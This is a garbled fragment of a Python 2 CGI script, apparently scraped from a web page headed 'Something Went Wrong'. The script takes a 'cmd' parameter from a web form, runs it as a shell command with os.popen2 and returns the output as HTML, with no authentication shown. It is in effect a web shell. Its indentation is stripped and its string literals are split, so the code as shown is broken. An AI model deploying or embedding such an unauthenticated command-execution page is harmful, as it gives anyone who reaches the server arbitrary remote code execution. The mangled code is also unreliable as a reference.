Something Went Wrong
'
################################################################
# main body of the script
if __name__ == '__main__':
print "Content-type: text/html" # this is the header to the server
print # so is this blank line
form = cgi.FieldStorage()
data = getform(['cmd'],form)
thecmd = data['cmd']
print theformhead
print theform
if thecmd:
print '
'
print 'Command : ', thecmd, '
'
print 'Result :
'
try:
child_stdin, child_stdout = os.popen2(thecmd)
child_stdin.close()
result = child_stdout.read()
child_stdout.close()
print result.replace('\n', '
')
except Exception, e: # an error in executing the command
print errormess
f = StringIO()
print_exc(file=f)
a = f.getvalue().splitlines()
for line in a:
print line
print bodyend
"""
TODO/ISSUES
CHANGELOG
07-07-04 Version 1.0.0
A very basic system for executing shell commands.
I may expand it into a proper 'environment' with session persistence...
"""